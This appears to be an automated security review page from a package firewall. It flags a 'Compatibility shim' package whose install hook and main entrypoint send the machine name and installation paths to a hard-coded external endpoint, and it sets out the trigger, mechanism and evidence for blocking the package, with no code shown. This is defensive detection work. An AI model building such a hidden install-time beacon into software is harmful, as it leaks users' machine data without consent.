Compatibility shim.
AI Security Review
scanned 5h ago · by lpm-firewall-aiSource inspection confirms automatic disclosure of identifying installation metadata to a fixed external endpoint without an installer consent gate. This supports blocking the package as an installation-time data disclosure.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or import of the main entrypoint.
Impact
The endpoint receives identifying information about the machine and package installation.
Mechanism
The beacon builds a payload with machine and installation metadata and sends it to the hard-coded endpoint without a consent check.
Attack narrative
The automatic installation hook runs the beacon, which sends the machine name and installation paths to a fixed external endpoint. The package’s main entrypoint also invokes the beacon when imported.
AI rationale
Source inspection confirms automatic disclosure of identifying installation metadata to a fixed external endpoint without an installer consent gate. This supports blocking the package as an installation-time data disclosure.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest runs a package script automatically after installation.
- The beacon code sends an HTTP request to a fixed external endpoint.
- The request payload includes the machine name, installation path, and working directory.
- Importing the main entrypoint also triggers the beacon.
